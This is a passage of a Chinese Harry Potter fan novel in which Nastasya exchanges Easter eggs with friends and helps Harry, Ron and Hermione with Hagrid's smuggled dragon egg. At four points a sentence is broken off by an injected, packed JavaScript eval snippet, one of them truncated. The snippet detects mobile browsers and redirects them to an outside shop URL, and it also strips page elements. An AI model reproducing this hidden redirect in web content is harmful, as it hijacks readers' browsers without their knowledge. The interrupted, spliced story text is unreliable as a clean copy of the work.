还有比萨米更适合做这件事的人吗?她甚至可以把彩蛋直接转移进塞德里克的卧室。 ‘早知道该让萨米一大早就把彩蛋砸到他脸上的。’娜斯缇亚无不惋惜地想。 * 早餐过后,娜斯缇亚和艾丽娅就带着她们的一口袋彩蛋出发了。 杰玛当然不参与她们的活动:她只是平静地交代艾丽娅别忘记今天还有几本书要复习。 艾丽娅哀嚎着拉着娜斯缇亚跑出了礼堂。 “娜缇,珍惜这几年的校园时光吧,”艾丽娅颇为感伤地说道,“当你五年级只能在图书馆和那些课本里作斗争的时候,就会明白曾经的自己是多么无忧无虑。” “少来,”娜斯缇亚戳穿了她,“我看你挺乐在其中的。” 艾丽娅矢口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,没关系。不过真抱歉,今天不能请你们进来坐坐了,我一会得出门一趟。”海格听完后,满脸歉意地补充道。 事已至此,三人都递出了手里的彩蛋。 “我们送你的彩蛋。” “本来想藏在你家附近的。” 海格看起来很高兴,接过那四只红红绿绿的彩蛋。 “我最近忙得昏头了,都没来得及准备这个。”他说,“不过,这是个有趣的活动,不是吗?你们有没有互相送给对方?事实上,我已经收到了一个很棒的……” 他忽然噤了声,这引起了三个小家伙的好奇和怀疑。 “什么?”他们异口同声地追问。 “不,没什么。”海格拍拍外套上不存在的灰,“谢谢你们的礼物。” 他几乎是落荒而逃。 “我还以为他会给我们看看呢。”娜斯缇亚满腹疑惑,“他的反应也太奇怪了。” 罗恩和哈利齐齐点头。 “嘿,他往城堡的方向走了。”罗恩忽然说,“要不要跟过去看看?” 哈利看上去已经跃跃欲试了。 “我一会要去给斯普劳特教授帮忙。”娜斯缇亚说着,从口袋掏出两颗彩蛋,塞到他们手里,“祝你们调查顺利。” 32.第 32 章 自从听说了复活节活动的消息,娜斯缇亚就对“如何将彩蛋神不知鬼不觉地送到西奥多手里”这件事展开了深刻的思考。 她准备了两个备选方案:图书馆他常坐的位置,或者菜地附近那棵大树底下。 问题在于,放在图书馆,彩蛋被人拿走的风险不小,而菜地又有地精出没。 思索再三,娜斯缇亚决定在课后小组的活动结束后顺路去一趟菜地,试试自己最近学的一个变色咒。 地精不可能聪明到能发现伪装后的彩蛋吧。 “……” 她选的这个时间实在不怎么样。 还没走到菜地,她就在树下发现了一个熟悉的身影。 西奥多正坐在那里看书。 最近的天气还不错,他白天不常来图书馆了。 他一直不大喜欢图书馆,原因之一,是空气不流通;原因之二,则是平斯夫人那双堪比摄像头的眼睛。 这让他感到很不适应。 娜斯缇亚猜测他应该很喜欢在自己家的花园看书。 “很少在这里看见你。”就在娜斯缇亚纠结要不要转身就走的时候,西奥多抬起了头。 她只能硬着头皮走过去:“今天天气不错。” “嗯。”他的视线落在娜斯缇亚长袍上鼓起一块的口袋。 “好吧,好吧,西奥多·诺特。”娜斯缇亚认命地把彩蛋从口袋掏出来,“你该少看些侦探小说了。” “我可以装作没发现。”西奥多道。 娜斯缇亚潇洒地拒绝了这个建议:“不了,你可以直接拆开。” 西奥多点点头,不客气地将彩蛋扭开。 随着淡蓝色的烟雾散开,一本小说蹦进他怀里,差点砸到他的下巴。 “《弗兰肯斯坦——现代普罗米修斯的故事》?” “我觉得,也许你会对这个故事感兴趣。” 西奥多把原本正在看的小说合上,拆开新书的包装。 娜斯缇亚顺势在一旁坐下。 西奥多看起来好像想说什么,但她的手指已经先一步按到了一个圆滚滚的东西。 “不会吧……”她从草丛里抓出一个圆滚滚的东西。 那是一颗和草地花纹一模一样的彩蛋。 娜斯缇亚念了个反咒,露出它原本的蓝色。 “你放在这的?” 答案当然不言而喻。 娜斯缇亚嚷了起来:“这是我原本的计划!” 西奥多破天荒笑了一声,又抿了抿唇角,才说:“所以刚刚我说,我可以装作没看见。” “不必了!”娜斯缇亚气哼哼地扭开彩蛋。 意外的,是一个蝴蝶标本。 “去年入冬的时候,我在附近捡到一只冻死的蝴蝶。”他解释道,又补充一句,“我用麻瓜的方法做的,翅膀那可能有一部分损耗。” “梅林啊它也太美了。” 这只标本蝴蝶甚至有着一双蓝色渐变的翅膀。 不敢想象西奥多在雪地里发现它时会有多惊艳,它就像冰雪里消亡的精灵。 生命——很意外,他们送给对方的礼物都和这个单词有关。 “谢谢,”娜斯缇亚郑重地把标本收了起来,“我很喜欢。” * 娜斯缇亚要反复强调,英国的天空很少有这么晴朗的时候,室外的温度也刚刚好。 打人柳的枝叶在风中微微摆动,看上去十分恬静;湖底的巨乌贼停靠在岸边,伸出触手来晒太阳。 娜斯缇亚捡来几块石头变成排球,又用树枝拉出一张网,拉上西奥多,两人一队,和巨乌贼玩沙滩排球。 “你要用手腕去接球,好吗?可能会有点疼,但是只要稍微借点力——像这样!”娜斯缇亚叉着腰,把排球的玩法介绍给西奥多。 说着,她又用魔杖在地上画了一条临时的线:“如果巨乌贼抛出的球越过了这条线,我们却没有接到,就要扣分。反之也一样。” 娜斯缇亚又走到巨乌贼面前,严肃地告诫它:“只许用两——四只触手。好吗?不要犯规。” …… 西奥多的皮肤实在太白了,很快,排球就在他的手腕砸出了红印子。 “哦,梅林啊,”娜斯缇亚捧起他的手,用一种看温室花朵的目光注视着他,“我们还是换一种球玩吧,不然你的手腕明天肯定要淤青了!” “没关系,”西奥多似乎晒了太久的太阳,脸和耳朵都红红的。他将手腕轻轻从娜斯缇亚手里抽了出来,“一会就该去礼堂吃饭了。” “好吧,”娜斯缇亚说,“你想不想要一些玫瑰药膏?我自己照着书做的,闻起来还不错。” “什么书?” “《来自东方的神秘药方》——名字听起来很无聊吧,但是内容挺有意思的——赫敏从图书馆的角落把它找给我。书上说中国的医生在治疗时更习惯外用药膏而不是内服药剂,我就想试一试。订购那些树根一样的材料花了我好多金加隆呢!” “怎么样?要不要试一试?”娜斯缇亚盯着他的眼睛,热情地问。 西奥多轻巧地避开她的目光,点点头:“再玩一局吧。” 在他们聊天的时候,巨乌贼已经百无聊赖地抓起地上的所有排球,自娱自乐地玩了好一会了。 娜斯缇亚坏心眼地指导它轮流用触手接球,像在教一只马戏团玩杂耍的小猴子。 巨乌贼察觉到之后,用触角轻轻拍了拍这个坏家伙的脑袋。 他们最后在湖边玩了一局排球比赛。爬到头顶正上方的太阳逐渐升温,娜斯缇亚的脑门上都是汗渍,脸颊也红扑扑的。 “我赢了!”正当她欢呼着扔开排球时,巨乌贼忽然伸出一只触角,递到她面前。 “嘿!我的手帕。”娜斯缇亚接过它触角上那张湿哒哒、还沾着一捋水草的手帕,十分惊讶,“地精们果然不会喜欢这个东西——瞧,它们把它扔进了水里。” 西奥多一言不发地抿抿唇。 他想起了几个月之前那个下午。 他们的第一节草药课。 也许娜斯缇亚从没没意识到,在她信口说出教材上没有的知识点时,整间教室的学生是多么惊愕,斯普劳特教授又是多么高兴。 她一个人就给斯莱特林加上了15分。 说不清是不服气更多,还是好奇更多,但剩下半节课里,他一直控制不住自己的视线往娜斯缇亚那里飘去。 那天下午只有这一堂课。离晚餐时间还有很久,西奥多不想回休息室,那里太吵;也不想去图书馆,那里的空气不大流通。而且他上午已经去过一次了,平斯夫人看所有学生都像在看贼。 这让他很不适应。 他就在附近转了转,发现斯普劳特教授的菜地附近有一棵挺茂盛的树。 看样子这里永远也不会有人过来。 坐下10分钟后,他就知道自己错了。 娜斯缇亚·格雷走了过来。 ‘不要过来……千万不要过来……’他在心里叫嚣着。 这里蛮舒服的,他不想换地方。 也许是梅林听见了他的祈祷,她朝着湖的方向走去了。 然后,她躺下了。 几分钟后,西奥多远远地看见温室那边涌入一大堆吵吵嚷嚷的新生。 也许她是在等那个上午和她一起在图书馆的那个格兰芬多女孩。 西奥多强迫自己把注意力转移到书上。 他认真地记下两个新的知识点,忽然听见一阵窸窸窣窣的声音。 居然是地精。 它们被一群高年级学生从菜地里赶出来,排排列列地跑到附近的灌木丛里。 梅林啊,它们朝着娜斯缇亚进发了。 西奥多从没见过活的地精,那些家养小精灵不会允许它们出现在自己面前的。 所以他做出了一个令自己追悔莫及的决定:他拔腿朝娜斯缇亚跑了过去——为了把那群地精赶跑。 但显然,地精并没有那个胆子、也没有那个能力迫害人类。 它们甚至还没靠近躺在地上的娜斯缇亚,就被他吓得一哄而散。 倒是他自己,因为步子迈得太大,卷起的风把女孩脸上的手帕吹进了湖里。 他僵硬地站在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483959|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低头看着她。 有这么一瞬间,他想一走了之。 可是,要是她误会自己偷走了手帕怎么办? 一番天人交战,他最终认命般在娜斯缇亚身边坐了下来。 这么大的太阳,她居然也睡得着。 为了弥补自己的失误,西奥多从口袋掏出自己的手帕,盖在她脸上。 不要误会,那真的是一张新的手帕。 ……不得不说,她的睫毛真长。 西奥多看着娜斯缇亚用清理咒和烘干咒把失而复得的手帕弄干净,拍在额头上,心虚地移开目光。 “走吧。”他深吸了一口气,返回去抱起树下的那些书。 娜斯缇亚随手拿了一本,顶在头上:正午的太阳真可怕,她觉得脑袋的温度都能用来煎蛋了。 “你要不要?”她问西奥多。 后者不自然地拒绝了这个建议。 * 也许是上午的运动消耗了她太多体力,午休过后,娜斯缇亚饥肠辘辘地从休息室爬出来,准备钻进厨房找点吃的。 她刚拉开通往厨房的那扇门,就迎面撞上了塞德里克。 对方似乎也刚结束午休,头顶的发丝不安分地翘着,看起来有点愣愣的。但看到娜斯缇亚的那一刻,他立刻就清醒了。 “午睡的时候,有只彩蛋从砸到我的脑袋。”塞德里克低下脑袋,说。 娜斯缇亚乐不可支:“萨米一定是无师自通的天才。” “你也去厨房吗?”她又问。 “睡醒了有点饿,去厨房找点吃的。”塞德里克点点头。 娜斯缇亚没忍住笑了一声:“我也是。” 他们从厨房打包了一份三明治,心安理得地在庭院找到一条长凳,靠在上面晒太阳。 娜斯缇亚趁机向他请教如何更好地掌握变形术,却意外地从自己的笔记本里拆出一枚彩蛋。 “哦,一定是赫敏!”她回想起上午在海格小屋门前哈利和罗恩那闪躲的眼神,和早餐时突然向自己要走笔记、又在中午就还回来的赫敏。 彩蛋里塞了一大盒的草莓牛奶糖,她慷慨地抓出一把,拍到塞德里克手里。 晒太阳真是太幸福了。 * 晚餐时间结束之后,长桌上的篮子就要收走了。 娜斯缇亚走在前往图书馆的路上,忽然想起来一个特别适合伊丽莎白的礼物,立刻百米冲刺回到礼堂。 长桌上只剩下一些残羹冷炙,靠近大门的彩蛋篮子都已空空如也。她走到尽头,却看见地上蹲着一个人。 他欲盖弥彰地用长袍遮住脑袋,假装自己是一只角落的蘑菇。 事实上,这根本是掩耳盗铃…… “德拉科。你到底在干什么?”娜斯缇亚看向在一旁干站着,就是不和她对视的高尔和克拉布,费解地开口。 德拉科的手指一颤,手里那颗鲜绿的彩蛋掉在地上,“骨碌碌”滚到娜斯缇亚脚边。 娜斯缇亚立刻把它捡起来,故意像转篮球那样,将彩蛋在指尖转了一圈又一圈。 德拉科瞪着她,羞愤欲死地站起身来。 “别用那种眼神看着我!我只是想看看它们用了什么咒语。”他几乎是在咆哮。 娜斯缇亚故作无辜:“我又没说什么。” 忽然,“噗”的一声,厨房里的小精灵回收了长桌上的所有东西。 “如果你不介意的话,我正好要送人礼物,最后一个彩蛋我就拿走了?当然,如果你实在想知道彩蛋用了什么咒语,我可以帮你去问问弗立维教授,这些彩蛋都是他做的。” 事实上,弗立维教授把彩蛋的制作方式教给了课后小组的所有人。 但娜斯缇亚才不会告诉德拉科。 欣赏那张愤恨交加的脸,会让她的心情变好。 娜斯缇亚把彩蛋揣进口袋,扬长而去。 德拉科从后面追上来,撞开她的肩膀,消失在转角。 娜斯缇亚发誓,德拉科绝对是她见过的人里,性格最恶劣的那一个。 她摸了摸蛋壳上的那道细微的裂缝,拉开通往地牢的门。 33.第 33 章 复活节过去之后,离期末考的日子又更近了一些,霍格沃茨的校园生活又恢复了忙碌。 这一天,达芙妮找上娜斯缇亚,请她帮自己复习魔咒和变形术。 因此,娜斯缇亚只能拒绝赫敏的图书馆邀请,和达芙妮找了个空教室学习。 “潘西不和你一起来吗?”毕竟她们之间分开的情况真的不多见。 “你知道的,她还有些别扭。”达芙妮诚实地告诉了她原因。 娜斯缇亚觉得挺有意思:“因为德拉科?” 她和德拉科的关系越来越差了。后者最近总是冷不丁在大家面前说一些讽刺意味十足的话,闹得气氛很尴尬。 娜斯缇亚在礼堂尽量不和他们坐在一起,以免大家在用餐期间食不下咽。 “虽然这样说有点缺德,但是娜缇,我真的很庆幸有你在。” 娜斯缇亚露出一个不解的表情。 “你知道的,潘西从小就很照顾德拉科,就像他的姐姐那样无微不至。梅林啊,要知道我对我妹妹也不至于到那种夸张的程度。她简直快要确立‘德拉科说的都对’原则了!” 娜斯缇亚回想了一下潘西平时的表现,深以为然。 她的所有朋友都把潘西和克拉布、高尔一起归进了德拉科的跟班行列。 “但是,”达芙妮笑眯眯地继续说,“她最近甚至开始认同我吐槽德拉科某些行为幼稚了,这多难得呀。” 她的声音听起来就像在唱歌。 “这和我有什么关系?” “当然有啦,因为潘西对你的印象还不错,可德拉科老和你作对。”达芙妮说,“要是她能在你的影响下再也不理德拉科的话……娜缇,我一定把你的照片裱起来,挂在我的床头。” “倒也不用……”为了防止达芙妮越说越荒谬,娜斯缇亚赶紧把她的注意力拉回复习上来,“你准备好展示这个咒语了吗?” * 就在达芙妮筋疲力尽地趴在桌上,表示自己要中场休息一会的时候,娜斯缇亚的余光透过窗户瞥见草坪上走着三个熟悉的身影。 赫敏、罗恩和哈利。 他们正急匆匆地往海格小屋的方向赶去。 联想到复活节那天罗恩和哈利的调查,直觉告诉娜斯缇亚,那旺盛到无处安放的格兰芬多冒险之魂又在他们心里熊熊燃烧了。 “不过娜缇,我能问你个问题吗?”达芙妮忽然将脑袋从臂弯抬起来,将她的注意拉回。 “什么?” “你是因为波特他们讨厌德拉科,还是真的讨厌德拉科?” 娜斯缇亚沉默片刻。 她以为自己会说,如果可以的话,真希望德拉科一开始就去德姆斯特朗,别和自己认识。 可首先在她脑海中浮现的画面,竟然不是德拉科那趾高气扬的可恶嘴脸,而是开学那天在礼堂内伸出的那只手。 还有那些被漫不经心递过来甜蜜的糖果和点心。 为什么会这样?娜斯缇亚有些困惑地想。 “你总得承认他说话有时候真的太过分了。”最后,她这样回答达芙妮。 达芙妮想了想,“嗯”了一声,表示理解和赞同:“他从小就是这个性格。” 娜斯缇亚耸了耸肩,直言不讳:“依我看,他应该吃点苦头,这样他也许就老实了。” 达芙妮忍不住笑了一声:“你要知道,卢修斯叔叔和西茜阿姨——也就是德拉科的爸爸妈妈,他们实在太宠德拉科了。他是马尔福家唯一的孩子。” 娜斯缇亚嗤之以鼻。 “不过,他这么讨厌那些格兰芬多,我其实有些意外。”达芙妮继续道,“潘西说,卢修斯叔叔几乎每次都要在信里告诫他,不应该和波特把关系搞得这么僵,但他总是充耳不闻。” 娜斯缇亚没说话。 卢修斯·马尔福曾经是一名食死徒,伏地魔消失后马尔福家幸运地没有遭到清算,他当然不希望自己的儿子大张旗鼓地和哈利作对。 达芙妮又叹了口气:“其实,德拉科他虽然说不上善良,也绝对不是纯粹的坏人。” “我和你提过我的妹妹吧?”她说,“利亚(阿斯托利亚的昵称)从小身体就特别不好,魔力也很弱。小时候我们一起学习咒语,她总是学得最慢、效果最微弱的那一个。但德拉科不允许我们任何一个人嘲笑她,哪怕开玩笑也不行。” “也许只有被他归为‘朋友’,才有资格接收马尔福的好意。”不知怎么的,娜斯缇亚脱口而出的是这样一句话。 达芙妮怔愣片刻,接着,忽然露出一个了然的笑:“我知道啦,你还记着那件事吧?‘认识一个马尔福是你的荣幸’?” 娜斯缇亚的表情一瞬间僵住。 是的,她一直没忘记德拉科在开学宴上对自己说的这句话。 这让她觉得,自己从来就没被他尊重过。 这句话简直和他的纯血言论一样讨人厌。 “说实话,我印象中,他几乎对每个人都这么说过——偷偷告诉你,这也是我讨厌他的原因。”达芙妮翻了个白眼,“依我看,德拉科讨厌波特,很大一部分的原因就是每个人都喜欢他。毕竟这个家伙从小就一直想要所有人的目光注视。” 娜斯缇亚冷冷地说:“可是哈利出名的代价,是他父母的生命。” 达芙妮愣了愣,她沉默了一会,握住娜斯缇亚的手:“抱歉。” 娜斯缇亚看着面露愧疚的达芙妮,回握住她温暖的手心:“好啦,咱们别提德拉科了。” “还是快点复习吧。” “遵命,格雷老师。”达芙妮立刻把背挺直,握紧羽毛笔,用那双漂亮的大眼睛认真地看着她,“咱们接下来学什么?” * 娜斯缇亚的猜测在几个小时后得到了证实。 晚餐后,她刚走出礼堂,就被赫敏神神秘秘地拉到某间空教室。 罗恩和哈利都在,满脸的焦躁不安。 娜斯缇亚立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509569|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警铃大作:“又出什么事了?” “你绝对猜不到发生了多么恐怖的事情!”这句话听起来似乎有些耳熟。 “哦……”娜斯缇亚头疼地拖长了语调。 有时候,她真的宁愿自己什么都不知道。 显然,哈利不想给她这个机会:“海格不知从哪搞来了一条火龙!” 娜斯缇亚吓了一大跳:“他发财了?” 罗恩瞪大眼睛:“嘿!这是重点吗?火龙!那可是火龙!走私火龙是犯法的!还记得吗?” “我当然没忘——可是,你要我怎么相信海格靠自己驯服了一只火龙?”娜斯缇亚说,“这不可能!” 就连查理都没能做到刚入职就独立地驯服一只火龙呢。再说了,这地方哪来的龙? “是一颗龙蛋。还没孵出来。”哈利说,“海格说是挪威脊背龙。” “挪威脊背龙?!” “我们得劝他把这个东西送走,哪怕养在禁林,也有够危险的——不,它可能比整个禁林里的生物加起来都要危险。”娜斯缇亚在教室里转了一圈又一圈,“挪威脊背龙的攻击性可不小,它们在幼年时期就能喷出火焰,而且牙齿还有毒……不过,我还是想问,海格发财了?” “为什么这么问?” “嘿,火龙蛋可不是什么随便在路上就能捡到的东西。好多人花大价钱也找不到购买的路子。” ‘不过,要是海格愿意把蛋壳给我就好了,高温灼烧后碾碎的火龙蛋壳是制作驱虫药的上好材料。’娜斯缇亚想。 斯普劳特教授最近分给了每个小组成员一小块菜地,如果他们能照顾好自己负责的那块区域,就可以拿到它的七年使用权。 娜斯缇亚势在必得。 “别提了,”罗恩拉回了她跑偏的思绪,“这是他玩牌赢来的。” 娜斯缇亚瞬间停止了脑海中对魔药熬制的演练。她皱起眉头:“玩牌?在哪里?” “也许是哪个酒吧。” “所以是哪个酒吧?” “呃……”罗恩努力地回想了很久。 “谁会把这个东西带到酒吧,还用来当赌注?世界上怎么可能会有这种白捡的便宜?” “海格说,是一个陌生人。”她每问一句,赫敏的脸色就苍白一分,“他还说,那个人看起来似乎巴不得马上摆脱掉它。” “那他还敢接过来?”娜斯缇亚抓狂道,“他难道就不怀疑这枚蛋的来历吗?说不准魔法部明天就会来敲门!” “别逗了,走私火龙是犯法的,谁会把这事说出去?”罗恩觉得她又在疑神疑鬼,“不管怎么说,他看起来可一点也没有要把那颗龙蛋送走的意思!” “我们不能把这件事交给教授们解决,否则海格一定会被扫地出门的。”赫敏忧心忡忡地说。 “所以娜缇,你得和我们一起去劝劝海格。”哈利飞快地说。 娜斯缇亚长叹了口气。 格兰芬多可怕的冒险精神。 34.第 34 章 海格比他们想象中的还要固执,他坚持要看到火龙破壳,才愿意讨论下一步对策。 “下一步!为什么不趁它还没破壳就赶紧把它送走呢!”娜斯缇亚压根不能理解。 但罗恩看起来似乎很兴奋,他兴致勃勃地插了一句:“想想吧,一辈子能有几次看见火龙破壳的机会呢?” 赫敏大为光火,怒视着他。 娜斯缇亚立刻说:“罗纳德,我得提醒你,幼龙的生长速度是很快的……好了,明天见。” 他们在楼道上分开。 今天晚上斯莱特林有一节天文课。 娜斯缇亚来得很早,西奥多正在天文塔等着她。 她小跑过去,挨着对方坐下。 “你和你的朋友最近经常去禁林附近吗?”西奥多把娜斯缇亚的教材和课具一起递过去,漫不经心地说。 “是的,我们去找海格说话。怎么了?” 娜斯缇亚意外地看着他:他几乎从不过问有关格兰芬多的事。 “德拉科。”西奥多含蓄地提醒道。 娜斯缇亚顿时垮下了脸:“好吧,我会注意的——你在看什么书?” “复习。”西奥多说着,合上笔记本,把天文学的教材翻开。 娜斯缇亚点点头:“我向艾丽娅借了一年级的黑魔法防御课笔记,补充了一些内容。你需要吗?” 西奥多当然不会拒绝:“我明天在奇洛教授的课上看。” 这是他们一贯的做法:在魔法史课和黑魔法防御课上做别的事。 “那我也顺便一起复习!” “你应该开始背魔法史了。”西奥多提醒她。 娜斯缇亚捂住了耳朵,强行转移话题:“今天观测哪颗行星?” 西奥多无奈地笑了笑。 * 娜斯缇亚最近总是整晚整晚地做噩梦。 起初,她疑心这是梦魇咒带来的后遗症,但庞弗雷女士给她做了一个全身检查,并没有发现什么问题。 娜斯缇亚只好把这个症状归结于期末考试和海格那条火龙带来的压力。 她又开始吃助眠糖,但效果时好时坏。 斯莱特林今天上午的第二节课是斯普劳特教授的草药课,娜斯缇亚在药物作用下,一直睡到课前二十分钟才起来。 她挣扎着爬出被窝,意外地看见西奥多这个点居然还在休息室。 “早上好?”娜斯缇亚打着哈欠走过去,自然地拿起他手边的纸袋。 西奥多没有和她问好,他按住娜斯缇亚的手:“格兰杰让我转告你,第一节下课之前去温室门口等她。” “第一节下课?她有说是什么事吗?” 来不及了,从这里走到温室,至少也要10分钟。 “也许和你们最近在忙的事情有关。”西奥多说。 娜斯缇亚那丝残存的困意瞬间烟消云散。 * 时间回到上午七点。 “我们得把这件事告诉娜缇!”自从收到海格的纸条,得知小火龙将破壳后,罗恩就一直很兴奋。 哈利的目光在斯莱特林长桌徘徊,期间与德拉科对视,对方狠狠地白了他一眼。 但他没看到那个熟悉的身影。 “她还没来礼堂。” 赫敏解释道:“通常来说,如果斯莱特林早上第一节没有课,诺特会给她带早餐。” 话音刚落,他们就看见西奥多·诺特站了起来,拿着一个纸袋和一瓶牛奶走出了礼堂。 静了几秒,罗恩用一种酸溜溜的口吻开口:“说实在的,我搞不懂为什么他们俩的关系这么好。” 哈利盯着西奥多的背影,僵硬地开口:“我也是。” 赫敏却摇摇头,说:“不是每个斯莱特林都像马尔福那样。” 这句话一出,一个人跳了出来,冷笑一声: “你应该说,不是每个斯莱特林都有资格和我相提并论。” 哈利瞪着德拉科,心中却十分费解:他甚至刚刚还坐在自己的座位上。 “你为什么偷听我们说话?”罗恩质问道。 “谁让你们在背后说我的名字?” “叫你的名字你就要出现?这里谁对你施了召唤咒吗?”哈利满脸讥讽地反问。 罗恩笑了笑:“也许某人家里的小精灵多到塞不下,从小耳濡目染。” 德拉科难得没和他们打嘴仗。 “你会为今天说出这句话感到后悔的。”他狞笑着离开了。 赫敏难掩担忧:“我们刚刚的谈话一准被他听去了。我先去找诺特,请他转告娜缇早点来温室。” 罗恩警惕道:“诺特会不会跟着来?” “好了,罗恩,你以为谁都是马尔福吗?”赫敏吸取了教训,这次开口之前,特地向四周看了看。 * 第一节下课后,三只小狮子在温室门口等了又等,始终没看见那个熟悉的身影,只好先去了海格小屋。 不巧的是,在娜斯缇亚全力冲刺向禁林方向奔去的时候,正在温室门口搬运花盆的斯普劳特教授看到了她。 “娜缇,快要上课了,你去哪里?” 她话音刚落,一个人从温室闪了出来。 娜斯缇亚立刻刹住脚步:“没什么,我来帮忙吧,教授。” 德拉科·马尔福居然在温室帮忙搬花盆。 比这更可怕的是,他的表情简直比中了一百万加隆还高兴。 哪怕他的头发都翘起来了。 娜斯缇亚觉得这一切都很不对劲:“你这么早来干嘛?” “早餐都懒得来礼堂吃的人有资格说这句话吗?”德拉科挥着魔杖,说。 娜斯缇亚很确定他眼里闪过一丝慌乱。 她有种十分不详的预感。 “你的头发怎么回事?”娜斯缇亚紧盯着德拉科,像是在审犯人。 但德拉科可不会任人摆布。 “关你什么事?”他熟练地按了一下脑袋上发丝飞起的地方,瞪她一眼。 “你的克拉布和高尔呢?”娜斯缇亚不依不饶地问出下一个问题。 她一直觉得他们三个就像连体婴。 “他们回去帮我拿书了……关你什么事?!”德拉科显然有些愠怒,脸上透出微微的红,“还有,我说了一百遍了!不是‘我的’克拉布和高尔!” 但是梅林啊,他的嘴角竟然在上扬。 这个画面简直比他走到哈利面前鞠躬道歉还可怕。 娜斯缇亚沉默良久,德拉科却忽然看了她一眼。 “如果你拿出一点像样的筹码来,我也不是不能告诉你。”他故弄玄虚地说。 很好,这下她完全可以确定了,德拉科准是知道了一切。 海格的火龙蛋。 “我警告过你,不要和那些愚蠢的格兰芬多为伍。”他得意洋洋地说。 “什么?”娜斯缇亚调整表情,摆出一张疑惑的脸。 “别骗人了,你真的什么都不知道?”见娜斯缇亚装傻,德拉科反倒警惕起来。 他试图像娜斯缇亚看自己那样,从她的脸上看出什么端倪。 但娜斯缇亚不为所动,只是疑惑地歪头看他。 他们僵持了好一会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521580|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到德拉科扭头跑回温室。 * 一整个上午,娜斯缇亚都心不在焉。 幸好这堂课的内容不算复杂,她和西奥多一组,很快完成了任务。 午餐后,赫敏把她叫出来,讲述着上午发生的一切。 海格的那条挪威脊背龙果然破壳了。 不幸的是,它被德拉科发现了。 这简直称得上是最坏的情况之一。 “我们真的得把它送走了,越快越好。”赫敏说道。 娜斯缇亚不能再同意这句话了。 接下来的好几天,他们都在轮番给海格做思想工作。 “海格,这不是随随便便的小宠物,这是一只火龙。别忘了,你住在木头房子里!”赫敏说。 “再过两个星期,诺伯就会变得跟你的房子一样长。马尔福随时都可能去找邓布利多。”哈利说。 “我觉得哈利说得很有道理,查理毕业后一直忙着和火龙打交道,有什么方法会比这个更好吗?”罗恩说。 “想想看,海格,如果德拉科说出这一切,邓布利多教授该对你多么失望!”娜斯缇亚一边捡起火龙蛋碎片,一边说,“你不是也夸过查理,说他驯服动物很有一手吗,把诺伯交给他我们都放心,对不对?我还可以给他寄一个照相机,这样他以后就能经常给你看看诺伯的照片了。” 她说这些话的时候一直密切地观察着诺伯,生怕它一个不高兴,要从嘴里喷出一口火来,把所有人都烧死在这间木头房子里。 在他们的轮番轰炸下,海格总算同意他们派猫头鹰去罗马尼亚问问情况。 可悲的是,接下来的日子里,除了复习,等待查理的回复,注意德拉科的一举一动,他们还多了一项任务: 轮流去小屋给诺伯喂食。 海格已经被这条小龙闹得快顾不上工作了。 * “娜缇,所有人都得承认,你是个送礼物的天才。” 在又一个娜斯缇亚和罗恩一起给诺伯喂食的夜晚,海格将复活节收到的那瓶蜂蜜酒喝得精光,无不哀伤地说。 娜斯缇亚立刻走过去,挪走酒瓶,给他倒了一杯热茶:“我想查理一定愿意接收诺伯的。也许暑假的时候我们可以一起去罗马尼亚看望他们,怎么样?” “我也要去!”罗恩扭头说道。 他太激动了,以至于忘记自己正在喂一头脾气并不好的小龙。 下一秒,他就为分心付出了代价:“嗷——它咬了我一口!” “梅林啊你没事吧!”娜斯缇亚吓得整个人都跳了起来。 “噢,罗恩,你吓到它了。”海格很紧张地冲上前,但他的紧张针对的并不是罗恩。 不幸中的万幸,他第一时间控制住了诺伯,没让它烧了房子。 而罗纳德·韦斯莱先生在抗议声中,连夜被娜斯缇亚送到了医疗翼。 的门口。 他死活不愿意进去。 “你就说,你不知道被什么东西咬了!快去!龙牙的毒性可不小,你的手会变成猪蹄的!”娜斯缇亚说。 “要是她不相信怎么办?!”罗恩抖了又抖,扯着她不放,“你就不能陪我进去吗!” “庞弗雷女士绝不会多问。”娜斯缇亚斩钉截铁地说,“如果我们两个一起进去,那才是真的完了。想想看,宵禁之后,一个格兰芬多和一个斯莱特林怎么可能在一起?” 她无情地把罗恩的手指一根根掰开:“少废话,你必须自己进去,我得赶紧回休息室了。出来之前我告诉杰玛我去达菲的寝室玩,距现在已经过去了两个多小时了。” 35.第 35 